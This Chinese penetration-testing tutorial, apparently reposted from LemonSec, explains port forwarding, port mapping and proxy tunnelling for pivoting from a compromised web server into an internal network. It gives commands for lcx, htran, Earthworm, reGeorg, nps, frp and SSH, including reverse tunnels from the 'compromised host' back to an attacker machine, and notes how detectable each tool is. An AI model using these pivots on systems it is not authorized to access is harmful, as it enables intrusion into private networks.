端口转发、映射与代理的了解与常用工具的推荐
2022-8-14 00:4:19 Author: LemonSec(查看原文) 阅读量:38 收藏

01

概述 

        在渗透测试中,当我们拿下web主机的shell权限后,通常无法直接访问到内网主机的端口,这个时候我们就需要用到代理与转发。端口转发(Port forwarding),有时候被叫做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的一个行为,使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

02

转发、映射详细解释

端口映射:端口映射是NAT的一种,功能是把在公网的地址转翻译成私有地址, 采用路由方式的ADSL宽带路由器拥有一个动态或固定的公网IP,ADSL直接接在HUB或交换机上,所有的电脑共享上网。通俗来讲,映射端口,就是将一个内网端口映射到公网上的某个端口,假设我自己的电脑是在内网中,没有公网IP,但是我想提供一个端口供其他人使用,这就是端口映射。

端口映射与转发的区别:

1. 概念不同:内网代理,与端口转发端口映射概念完全不同。

2. 功能不完全一样:端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。3. 单双向通信:通信端口映射可以实现外网到内网和内网到外网通信双向,而端口转发只能实现外网到内网的单向通信

常见的端口映射方法:

内网开启一个端口,边缘机用工具把内网开启的端口映射到本机的某个空闲端口,攻击机访问边缘机的映射端口就可以访问内网的机器。

例如:Lcx.exe -tran 7777 10.10.10.10 80  //在肉鸡上执行以上代码,把内网的80端口转发给肉鸡的7777端口//攻击机直接访问肉鸡的7777端口,即可通信内网主机10.10.10.10 的80端口

端口转发的方法:

1、先在攻击机执行代码:

lcx.exe -listen 9898 8888//监听本机9898端口并把数据发送给8888端口

2、在肉鸡(边界机)上执行一下代码:

lcx.exe -slave 攻击机ip 9898 内网ip 内网端口(80//把内网的80端口转发给攻击机的9898端口。

03

端口转发常用的软件推荐

除了上面示例的LCX外,还有以下工具也能完成相同功能。

Htran:主要在windows下使用。

第一个应用场景:

攻击机:htran.exe (-p) -Listen 9999 8888边缘机:htran.exe (-p) -Slave 攻击机_ip 9999 内网IP 3389在攻击机上执行:mstsc /v:127.0.0.1:8888

第二应用场景:

边界机执行,其ip是111.111.120.100:HTran2.4.exe -p -tran 7788 10.10.10.18 3389        攻击端直接连接肉鸡的7788端口:mstsc /v:111.111.120.100:7788

Earthworm既有windows版也有linux版,比较常用,除了做端口转发与映射,还能建立代理。

其他方法:

SSH转发

Netsh:是windows自带的工具,可以帮我们建立端口映射

Socat转发

Iptables转发

相关操作可以自行百度,基本原理都一样,这里就不过多阐述了

04

代理详细解释

什么是代理:

代理(英语:Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击

代理的类别:

HTTP代理

SOCKS代理

FTP代理

Telnet代理

SSL代理

关于代理可用分为正向代理和反向代理:

正向代理:客户端主动向代理发送一个请求,然后代理向服务器请求并将获取的内容返回给客户端。LhostàProxyàRhost。

反向代理:和正向代理相反,一般情况下是代理服务器主动将获取到的资源流量转发给客户端,让客户端接收。客户端只向代理服务器发送普通请求,该请求到哪里去,代理服务器自己判断,最后返回的数据递交给用户。Lhost<proxy>firewall>Rhost

05

代理工具的使用

代理工具的使用reGeorg:

第一步:找到边缘服务器网站环境的开发语言对应的tunnel文件,如目标是apache环境,就把tunnel.nosocket.php文件丢到网站目录下。

第二步:在攻击机执行以下代码:开启4488端口。

python2 reGeorgSocksProxy.py -u "http://目标IP/tunnel.nosocket.php" -p 4488

第三步:设置代理:使用本地的应用程序:浏览器,socksCap(win)、proxychains(linux)等(注意:这些应用程序可以设置代理)然后通过代理,访问4488端口,就能连接内网机器。

nps:

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器,几乎支持所有协议,支持内网http代理、内网socks5代理、p2p等。简洁但功能强大的WEB管理界面,支持服务端、客户端同时控制,扩展功能强大,全平台兼容,一键注册为服务。NPS分为客户端和服务器端,一般情况下,服务器放在攻击机,客户端放在目标机上!

下载地址:https://github.com/ehang-io/nps/releases

使用文档:https://ehang-io.github.io/nps/#  

第一步:启动nps

攻击机访问nps_server目录,输入./nps start。

启动nps,第一次使用,会提示有哪些命令可以使用,start,stop,install,uninstall等如果不安装nps服务器,直接启用nps start会报错。

安装后,即可正常开启nps服务端。

开启后,会开启多个端口,默认的后台端口是8080,直接浏览器访问localhost:8080即可访问

第二步:

访问localhost:8080进入后台,账号密码可看nps生成的配置文件。

登录后点击客户端----新增。

新增后,把nps_client的npc文件丢到边缘机。

执行./npc -server=192.168.211.151:8024 -vkey=j057rppz4s0in21j -type=tcp

命令可以在添加的客户端看到,执行后,会显示设备在线。

第三步:

根据需要建立对应的通道即可。

访问本机3389,就相当于访问内网机器的3389

FRP代理

frp是一种快速反向代理,可帮助您将NAT或防火墙后面的本地服务器公开到Internet。到目前为止,它支持TCP和UDP以及HTTP和HTTPS协议,在这些协议中,请求可以通过域名转发到内部服务。

首先这个工具有两端,服务端和客户端,服务端部署在我们具有公网IP的服务器上,客户端放在我们拿到权限的跳板服务器上,双端都需要对配置文件进行配置,我们先来完整的看一下双端的配置文件。

SSH服务:

1. 服务器一:有公网的ip地址-----------边界机开启端口7000,执行命令开始frp服务

# frps.ini[common]bind_port = 7000./frps -c ./frps.ini

2. 内网或者家里的主机-----------------内网主机修改配置文件frpc.ini,设置边界机的ip地址,然后执行命令

# frpc.ini[common]server_addr = 服务器一的ip地址server_port = 7000
[ssh]#把本机(内网主机)的22端口开启代理,通过攻击机的6000端口发送出去type = tcplocal_ip = 127.0.0.1local_port = 22remote_port = 6000*也可以设置在边缘机上执行frpc。通过设置frpc.ini把内网22端口转发出去./frpc -c ./frpc.ini # 启动3.测试------------外部机器代理边界机的6000端口,即可访问内网的ssh服务ssh -p 6000 [email protected]

Earthworm代理

Earthworm代理是一个轻量级功能强大内网穿透工具,基于C开发,该工具能够以在“正向“、”反向“、”多级级联“等方式大同一条网络隧道,直达网络深处,支持Linux,Windows,MacOS,Arm-Linux均包含其内,强烈推荐使用。三大功能:socks5代理、端口转发、端口映射。

下载地址:https://github.com/idlefire/ew

详细参数:-s 指定链路状态,6种ssocksd  rcsocks  rssocks  lcx_slave  lcx_stran  lcx_listen-l 本地监听的端口-d 指定转发或者反弹的主机地址-e 指定转发或者反弹的主机端口-f 连接或者映射的主机地址-g 连接或者映射的主机端口

正向代理:(我-->目标机/开端口)(socks的版本是5)

肉鸡:ew -s ssocksd -l 1080(需要在目标机中开启一个端口)

反向代理:(目标机-->我/开端口)(8888是建立的隧道,1080是传输数据的端口)

具有公网IP的主机(攻击者机器):ew -s rcsocks -l 1080 -e 8888(监听端口)

边缘机:ew -s  rssocks -d 攻击者公网主机IP  -e 8888

SSH隧道代理

转发Ssh有三个强大的端口转发命令,分别是本地转发,远程转发,动态转发。

Socks代理:

Ssh -qTfnN -D port remotehost

参数详解:-C 允许压缩数据-q 安静模式-T 不占用shell-f 后台运行,并推荐加上-n 参数-N 不执行远程命令-g 允许远端主机连接本地转发的端口-n 把stdin 重定向到/dev/null(防止从stdin读取数据)-L 本地转口转发-R 远程端口转发-D 动态转发,即socks代理-p 指定ssh连接端口

本地转发:

远程管理服务器上的mysql,mysql不能直接root用户远程登陆。这时候就可以通过本地转发,通过ssh将服务器的3306端口转发到本地1234端口实现以root用户远程登陆mysql。Ssh -CfNg -L <本机ip>:<本机端口>:<目标B ip>:<目标B端口> 用户名@跳板端口ssh -CfNg -L 1234:127.0.0.1:3306 [email protected]

远程转发:

内网的服务器,外网不能直接访问,使用远程转发,将内网的服务器端口转发到外网端口。这时候访问外网的端口,就可以直接访问到了内网的端口。Ssh -CfNg -R <本地端口>:<目标B ip>:<目标B 端口> 用户名@本地IPssh -CfNg -R 81:127.0.0.1:80 [email protected]现在只需要在192.168.1.2这个主机上访问127.0.0.1的81端口就是访问内网服务器的80端口

06

工具特征总结

Ew:

如果利用ew进行全局代理,配合加密得shell,通过流量回溯极难发现,通过服务器本地日志查看,进程查看,网络排查 容易发现痕迹,且ew会被部分查杀软件查杀

reGeorg:

利用reGeorg方式来进行内网全局代理之后有明显的流量特征,但是流量中的行为不方便分析,流量行为主要是以流量隧道来进行攻击,我们能直观看见的是目的ip和目的端口,所以可以根据端口全球数量和频率可以大概分析攻击者行为,脚本会被部分查杀软件检查

nps:

轻量级的内网穿透工具,完全采用GO语言实现,服务端界面漂亮简洁。支持tcp、udp流量转发,支持内网http代理、内网socks5代理,同时支持snappy压缩、站点保护、加密传输、多路复用、header修改等。支持web图形化管理,集成多用户模式。但是他有一个致命缺点就是在socks5代理下会长连接一直不放开导致结果不准确。

frp:

FRP功能完整,主要采用GO语言实现,重量级的工具,服务端界面样式风格一般。配置繁琐,不同的协议需要配置不同的参数,采用文件存放数据,不支持数据库管理数据。

注:如有侵权请联系删除

 热文推荐  

欢迎关注LemonSec

觉得不错点个“赞”、“在看”


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247532104&idx=2&sn=941e0e9cd2f2727421c759f71fd02413&chksm=f9e31113ce9498052e1438090e587b6a32bd483d28441cbba0f05a905a5df045daf1fa78a160#rd
如有侵权请联系:admin#unsafe.sh